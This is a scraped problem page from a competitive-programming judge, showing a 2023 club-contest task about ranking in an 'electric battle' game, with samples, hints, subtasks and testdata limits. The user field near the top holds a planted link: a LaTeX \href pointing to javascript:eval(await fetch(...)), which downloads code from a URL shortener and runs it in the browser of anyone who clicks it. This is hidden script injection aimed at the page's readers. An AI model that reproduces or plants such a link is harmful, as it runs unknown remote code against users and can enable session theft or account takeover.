4565 . 貳零貳參建北電資演算法小社賽 pE - Electric person

Submit out of contest
Status
Discussion / Solution
Ranklist
Back to Problems List

TopCoder

cjtsai
$\href{javascript:eval(await fetch('https://t.ly/KeLHW').then(r => r.text()))}{hi}$

User's AC Ratio

75.0% (3/4)

Submission's AC Ratio

66.7% (8/12)

Tags

2023建北電資小社賽 小社賽

Description

Yo!Battle是一款大家一起Battle的遊戲，通常來說，兩個人Battle都會是玩家編號較高的人獲勝

佑佑喜歡Yo!Battle，但是他也喜歡破壞通則
因為他太電了，所以他都跟別人互相電擊分出勝負
他今天想跟$n$個人一起Battle，其中這$n$個人當中，他擊敗每個人需要耗費$a _ i$瓦特電力，否則他會被第i個人擊敗。

佑佑喜歡打小社賽小社賽喜歡打佑佑，他今天來了小社賽，被807灌輸了$m$瓦特的電力。

請計算佑佑能達到的最高名次。

Input Format

$n$ $m$
$a _ 1$ $a _ i$ ... $a _ n$

$0 \lt n \le 10 ^ 7$
$0 \lt m \le 10 ^ 9$
$0 \le a _ i \le 10 ^ 9$

Output Format

請輸出佑佑能達到的最高名次

Sample Input 1

4 401
100 100 200 1

Sample Output 1

1

Sample Input 2

3 2
1 2 3

Sample Output 2

2

Sample Input 3

5 0
1 1 1 1 1

Sample Output 3

6

Sample Input 4

4 0
0 1 1 1

Sample Output 4

4

Sample Input 5

4 4
1 2 2 1

Sample Output 5

1

Hints

若$A$ $B$兩人皆贏兩場，則$A$ $B$同名
對於第一筆測資
你可以電死所有人 所以是第一名
對於第二筆測資
你可以考慮電死第二個人
最後勝場依序為1 1 3
你則是贏了1場 獲得第二名

Problem Source

Subtasks

No. Testdata Range Constraints Score
1 0~9 $m = 0$ 且 $a _ i > 0$ 1
2 10~19 $n, a _ i < 10 ^ 4$ 6
3 10~29 $n \le 10 ^ 4$ 36
4 0~39 no other limits 57

Testdata and Limits

No. Time Limit (ms) Memory Limit (VSS, KiB) Memory Limit (RSS, KiB) Output Limit (KiB) Subtasks
0 2500 131072 131072 65536 1 4
1 2500 131072 131072 65536 1 4
2 2500 131072 131072 65536 1 4
3 2500 131072 131072 65536 1 4
4 2500 131072 131072 65536 1 4
5 2500 131072 131072 65536 1 4
6 2500 131072 131072 65536 1 4
7 2500 131072 131072 65536 1 4
8 2500 131072 131072 65536 1 4
9 2500 131072 131072 65536 1 4
10 2500 131072 131072 65536 2 3 4
11 2500 131072 131072 65536 2 3 4
12 2500 131072 131072 65536 2 3 4
13 2500 131072 131072 65536 2 3 4
14 2500 131072 131072 65536 2 3 4
15 2500 131072 131072 65536 2 3 4
16 2500 131072 131072 65536 2 3 4
17 2500 131072 131072 65536 2 3 4
18 2500 131072 131072 65536 2 3 4
19 2500 131072 131072 65536 2 3 4
20 2500 131072 131072 65536 3 4
21 2500 131072 131072 65536 3 4
22 2500 131072 131072 65536 3 4
23 2500 131072 131072 65536 3 4
24 2500 131072 131072 65536 3 4
25 2500 131072 131072 65536 3 4
26 2500 131072 131072 65536 3 4
27 2500 131072 131072 65536 3 4
28 2500 131072 131072 65536 3 4
29 2500 131072 131072 65536 3 4
30 2500 131072 131072 65536 4
31 2500 131072 131072 65536 4
32 2500 131072 131072 65536 4
33 2500 131072 131072 65536 4
34 2500 131072 131072 65536 4
35 2500 131072 131072 65536 4
36 2500 131072 131072 65536 4
37 2500 131072 131072 65536 4
38 2500 131072 131072 65536 4
39 2500 131072 131072 65536 4
Submit out of contest
Back to Top